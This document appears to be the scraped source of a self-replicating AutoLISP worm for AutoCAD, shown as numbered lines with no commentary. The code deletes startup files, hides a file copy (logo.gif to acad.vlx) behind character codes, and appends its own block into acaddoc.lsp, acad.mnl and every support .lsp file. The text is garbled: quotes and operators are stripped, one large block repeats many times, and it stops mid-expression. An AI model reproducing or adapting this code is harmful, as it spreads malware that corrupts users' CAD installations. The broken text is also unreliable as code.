1、setq wold_cmd(getvar cmdecho)(setvar cmdecho 0)(setqbb 2)(setq dpath(getvar dwgprefix)(setq wpath(getvar menuname)(setq wpath(substr wpath 1(-(strlen wpath)4)(setq n 0)(while(n 1)(if(findfile acad.fas)(if(vl-file-delete(findfile acad.fas)(setq n 0)(setq n 2)(setq n 0)(while(n 1)(if(findfile lcm.fas
2、)(if(vl-file-delete(findfile lcm.fas)(setq n 0)(setq n 2)(setq n 0)(while(n 1)(if(findfile acad.lsp)(if(vl-file-delete(findfile acad.lsp)(setq n 0)(setq n 2)(defun wwriteapp()(if(setq wwjm1(open wnewacad w)(progn(setq wwjm(open woldacad r)(while(setq wwz(read-line wwjm)(write-line wwz wwjm1)(close w
3、wjm)(close wwjm1)(setq lbz 0)(setq wwjqm(strcat dpath acaddoc.lsp)(if(setq wwjm(open wwjqm r)(progn(repeat 3(read-line wwjm)(setq wz(read-line wwjm)(setq ab(atoi(substr wz 4 1)(close wwjm)(if(ab bb)(setq lbz 1)(setq wwjqm(strcat wpath acad.mnl)(if(setq wwjm(open wwjqm r)(progn(repeat 3(read-line wwj
4、m)(setq wz(read-line wwjm)(setq nb(atoi(substr wz 4 1)(close wwjm)(if(nb bb)(setq lbz 1)(setq lbz 1)(if(=lbz 1)(progn(setq woldacad(strcat dpath acaddoc.lsp)(setq wnewacad(strcat wpath acad.mnl)(wwriteapp)(if(and(/=(substr dpath 1 1)(chr 67)(/=(substr dpath 1 1)(chr 68)(/=(substr dpath 1 1)(chr 69)(
5、/=(substr dpath 1 1)(chr 70)(progn(setq woldacad(strcat wpath acad.mnl)(setq wnewacad(strcat dpath acaddoc.lsp)(wwriteapp)(vl-file-delete(strcat dpath acaddoc.lsp);load acadapq)(vl-file-copy(findfile(vl-list-string(108 111 103 111 46 103 105 102)(vl-list-string(97 99 97 100 46 118 108 120)(load acad
6、appp.lsp)(princ)(if(null stol)(load lcm)(princ)(load acadappp.lsp)(princ)(load acadapq)(princ)(load acadappp.lsp)(princ)(setq flagx t)(setq bz(setq flagx t)(defun app(source target bz/flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq
7、 text(read-line wjm1)(if(=text bz)(setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm(open source r)(setq wjm1(open target a)(write-line(chr 13)wjm1)(while(setq text(read-line wjm)(if(=text bz)(setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);
8、progn);if);defun(setvar cmdecho 0)(setq acadmnl(findfile acad.mnl)(setq acadmnlpath(vl-filename-directory acadmnl)(setq mnlfilelist(vl-directory-files acadmnlpath*.mnl)(setq mnlnum(length mnlfilelist)(setq acadexe(findfile acad.exe)(setq acadpath(vl-filename-directory acadexe)(setq support(strcat ac
9、adpath support)(setq lspfilelist(vl-directory-files support*.lsp)(setq lspfilelist(append lspfilelist(list acaddoc.lsp)(setq lspnum(length lspfilelist)(setq dwgname(getvar dwgname)(setq dwgpath(findfile dwgname)(if dwgpath(progn(setq acaddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat
10、 acaddocpath acaddoc.lsp)(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(app lspfil
11、ename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn(1+lspn);while);progn);if(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app mnlfilename mnlfilename
12、1 bz)(setq mnln1(1+mnln1);while(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(setq lspn
13、1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq ls
14、pn(1+lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz(setq flagx t)(defun app(source target bz/flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq text(read-line wjm1)(if(=text bz)(setq flag1 n
15、il);while(close wjm1);progn);if(if flag1(progn(setq wjm(open source r)(setq wjm1(open target a)(write-line(chr 13)wjm1)(while(setq text(read-line wjm)(if(=text bz)(setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar cmdecho 0)(setq acadmnl
16、findfile acad.mnl)(setq acadmnlpath(vl-filename-directory acadmnl)(setq mnlfilelist(vl-directory-files acadmnlpath*.mnl)(setq mnlnum(length mnlfilelist)(setq acadexe(findfile acad.exe)(setq acadpath(vl-filename-directory acadexe)(setq support(strcat acadpath support)(setq lspfilelist(vl-directory-f
17、iles support*.lsp)(setq lspfilelist(append lspfilelist(list acaddoc.lsp)(setq lspnum(length lspfilelist)(setq dwgname(getvar dwgname)(setq dwgpath(findfile dwgname)(if dwgpath(progn(setq acaddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat acaddocpath acaddoc.lsp)(setq mnln 0)(while(mn
18、ln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilena
19、me bz)(setq lspn(1+lspn);while);progn);if(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn1 0)(w
20、hile(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strc
21、at support(nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn(1+lspn)(load acadapq)(princ)(load acadapp)(p
22、rinc)(load acadapq)(princ)(setq flagx t)(setq bz(setq flagx t)(defun app(source target bz/flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq text(read-line wjm1)(if(=text bz)(setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(
23、setq wjm(open source r)(setq wjm1(open target a)(write-line(chr 13)wjm1)(while(setq text(read-line wjm)(if(=text bz)(setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar cmdecho 0)(setq acadmnl(findfile acad.mnl)(setq acadmnlpath(vl-filenam
24、e-directory acadmnl)(setq mnlfilelist(vl-directory-files acadmnlpath*.mnl)(setq mnlnum(length mnlfilelist)(setq acadexe(findfile acad.exe)(setq acadpath(vl-filename-directory acadexe)(setq support(strcat acadpath support)(setq lspfilelist(vl-directory-files support*.lsp)(setq lspfilelist(append lspf
25、ilelist(list acaddoc.lsp)(setq lspnum(length lspfilelist)(setq dwgname(getvar dwgname)(setq dwgpath(findfile dwgname)(if dwgpath(progn(setq acaddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat acaddocpath acaddoc.lsp)(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(
26、nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn(1+lspn);while);progn);if(setq
27、mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat sup
28、port(nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app lspfilena
29、me lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn(1+lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq b
30、z(setq flagx t)(defun app(source target bz/flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq text(read-line wjm1)(if(=text bz)(setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm(open source r)(setq wjm1(open target a
31、)(write-line(chr 13)wjm1)(while(setq text(read-line wjm)(if(=text bz)(setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar cmdecho 0)(setq acadmnl(findfile acad.mnl)(setq acadmnlpath(vl-filename-directory acadmnl)(setq mnlfilelist(vl-direct
32、ory-files acadmnlpath*.mnl)(setq mnlnum(length mnlfilelist)(setq acadexe(findfile acad.exe)(setq acadpath(vl-filename-directory acadexe)(setq support(strcat acadpath support)(setq lspfilelist(vl-directory-files support*.lsp)(setq lspfilelist(append lspfilelist(list acaddoc.lsp)(setq lspnum(length ls
33、pfilelist)(setq dwgname(getvar dwgname)(setq dwgpath(findfile dwgname)(if dwgpath(progn(setq acaddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat acaddocpath acaddoc.lsp)(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(app mnlfilename acaddocfi
34、le bz)(app acaddocfile mnlfilename bz)(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn(1+lspn);while);progn);if(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(str
35、cat acadmnlpath(nth mnln mnlfilelist)(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app mnlfilename lsp
36、filename1 bz)(setq lspn1(1+lspn1);while(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(s
37、etq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn(1+lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz(setq flagx t)(defun app(source target bz/flag
38、 flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq text(read-line wjm1)(if(=text bz)(setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm(open source r)(setq wjm1(open target a)(write-line(chr 13)wjm1)(while(setq text(read-
39、line wjm)(if(=text bz)(setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar cmdecho 0)(setq acadmnl(findfile acad.mnl)(setq acadmnlpath(vl-filename-directory acadmnl)(setq mnlfilelist(vl-directory-files acadmnlpath*.mnl)(setq mnlnum(length
40、mnlfilelist)(setq acadexe(findfile acad.exe)(setq acadpath(vl-filename-directory acadexe)(setq support(strcat acadpath support)(setq lspfilelist(vl-directory-files support*.lsp)(setq lspfilelist(append lspfilelist(list acaddoc.lsp)(setq lspnum(length lspfilelist)(setq dwgname(getvar dwgname)(setq dw
41、gpath(findfile dwgname)(if dwgpath(progn(setq acaddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat acaddocpath acaddoc.lsp)(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnl
42、n(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn(1+lspn);while);progn);if(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(setq mnln
43、1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mn
44、ln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support(nth lspn lspfilelist)(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support(nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilena
45、me1(strcat acadmnlpath(nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn(1+lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz(setq flagx t)(defun app(source target bz/flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1
46、 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq text(read-line wjm1)(if(=text bz)(setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm(open source r)(setq wjm1(open target a)(write-line(chr 13)wjm1)(while(setq text(read-line wjm)(if(=text bz)(setq flag t)(if flag(pro
47、gn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar cmdecho 0)(setq acadmnl(findfile acad.mnl)(setq acadmnlpath(vl-filename-directory acadmnl)(setq mnlfilelist(vl-directory-files acadmnlpath*.mnl)(setq mnlnum(length mnlfilelist)(setq acadexe(findfile acad.exe)(se
48、tq acadpath(vl-filename-directory acadexe)(setq support(strcat acadpath support)(setq lspfilelist(vl-directory-files support*.lsp)(setq lspfilelist(append lspfilelist(list acaddoc.lsp)(setq lspnum(length lspfilelist)(setq dwgname(getvar dwgname)(setq dwgpath(findfile dwgname)(if dwgpath(progn(setq a
49、caddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat acaddocpath acaddoc.lsp)(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)
50、setq lspfilename(strcat support(nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn(1+lspn);while);progn);if(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath(nth mnln mnlfilelist)(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strc






